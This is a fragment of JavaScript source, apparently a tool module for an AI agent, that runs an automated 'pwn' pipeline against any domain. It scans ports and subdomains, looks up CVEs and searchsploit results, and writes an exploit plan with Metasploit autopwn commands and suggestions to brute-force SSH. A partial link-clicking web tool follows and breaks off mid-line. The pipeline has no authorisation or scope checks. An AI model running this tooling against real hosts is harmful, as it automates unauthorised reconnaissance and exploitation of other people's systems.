try { lines.push("### HTTP Headers", await hackerTools.http_headers(`https://${domain}`), ""); } catch (e) { try { lines.push("### HTTP Headers", await hackerTools.http_headers(`http://${domain}`), ""); } catch {} }
try { lines.push("### SSL Check", await hackerTools.ssl_check(port ? `${domain}:${port}` : domain), ""); } catch {}
try { lines.push("### Subdomains", await hackerTools.sub_enum(domain), ""); } catch {}
// Phase 2: Port scan
lines.push("## [2/5] PORT SCAN");
try {
const scanTarget = port ? `${domain}:${port}` : domain;
lines.push(await hackerTools.port_scan(scanTarget), "");
} catch (e) { lines.push(` Port scan failed: ${e.message}`, ""); }
// Phase 3: CVE research
lines.push("## [3/5] VULNERABILITY RESEARCH");
try {
const software = domain.replace(/^(www\.)?/,"").split(".")[0];
const cveResult = await hackerTools.cve_search(software);
lines.push(cveResult, "");
// Try the full domain
const cveFull = await hackerTools.cve_search(domain);
if (cveFull !== cveResult) lines.push(cveFull, "");
} catch (e) { lines.push(` CVE search failed: ${e.message}`, ""); }
// Phase 4: Exploit search
lines.push("## [4/5] EXPLOIT LOOKUP");
try {
const tech = domain.replace(/^(www\.)?/,"").split(".")[0];
const sploitResult = await hackerTools.searchsploit(tech);
lines.push(sploitResult.substring(0,2000), "");
} catch (e) { lines.push(` Exploit search failed: ${e.message}`, ""); }
// Phase 5: Metasploit resource script
lines.push("## [5/5] GENERATED EXPLOIT PLAN");
const plan = [];
plan.push(`# Auto-generated exploit plan for ${domain}`);
plan.push(`# Generated: ${timestamp}`);
plan.push("");
plan.push("### Recon Summary");
plan.push(`- Target: ${domain}`);
plan.push(`- Services: ${port || "common ports scanned"}`);
plan.push("");
plan.push("### Attack Vectors");
try {
const cveHits = await hackerTools.cve_search(domain.split(".")[0]);
const cves = cveHits.match(/CVE-\d{4}-\d+/g) || [];
if (cves.length) {
plan.push("CVEs identified:");
cves.slice(0,10).forEach(c => plan.push(`- ${c}: search exploit-db or run: @searchsploit|${c}`));
} else {
plan.push("- No specific CVEs found for this target");
}
} catch {}
plan.push("");
plan.push("### Metasploit Quickstart");
plan.push("```");
plan.push("msfconsole -q");
plan.push("workspace -a " + domain);
plan.push("db_nmap -sV " + domain);
plan.push("load db_autopwn");
plan.push("db_autopwn -t -p -e");
plan.push("```");
plan.push("");
plan.push("### Manual Testing");
plan.push("1. Check HTTP for misconfigurations");
plan.push("2. Test discovered endpoints with @fuzz");
plan.push("3. Run brute force on found services: @bruteforce|ssh|...");
plan.push("4. Analyze response for vulnerabilities");
const planText = plan.join("\n");
lines.push(planText);
// Save report
const rDir = resolve(REPORTS_DIR, "pwn");
if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true });
const rPath = resolve(rDir, `pwn_${domain}_${timestamp}.md`);
fs.writeFileSync(rPath, lines.join("\n"), "utf-8");
lines.push(`\n📄 Full report: ${rPath}`);
return lines.join("\n").substring(0, 8000) + `\n... Report saved (${rPath}, ~${lines.join("\n").length} chars)`;
},
web_click: async (input) => {
const parts = input.split("|").map(s=>s.trim());
const url = parts[0];
const selector = parts[1] || "";
const method = parts[2] || "index";
if (!url) return `[Web Click] Usage: url|selector|method. method: index (click Nth link), text (click by link text), selector (CSS selector)`;
try {
const r = await fetch(url, {signal:AbortSignal.timeout(15000)});
const html = await r.text();
const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||"";
const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)];
const clean = links.map(([,h,t])=>[h,t.replace(/<[^>]+>/g,"").trim()]).filter(([h])=>h&&!h.startsWith("#")&&!h.startsWith("javascript:"));
const res = [`🌐 Web Click: ${url}`];
if (title) res.push(`Title: ${title}`);
if (method==="index") {
const idx = parseInt(selector)||0;
if (idx<0||idx>=clean.length) return `[Web Click] Index ${idx} out of range (0-${clean.length-1})`;
const [href,text] = clean[idx]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href;
res.push(`Click [${idx}]: ${text||href} → ${fullUrl}`);
const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)});
const h2 = await r2.text();
const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||"";
const body = h2.replace(/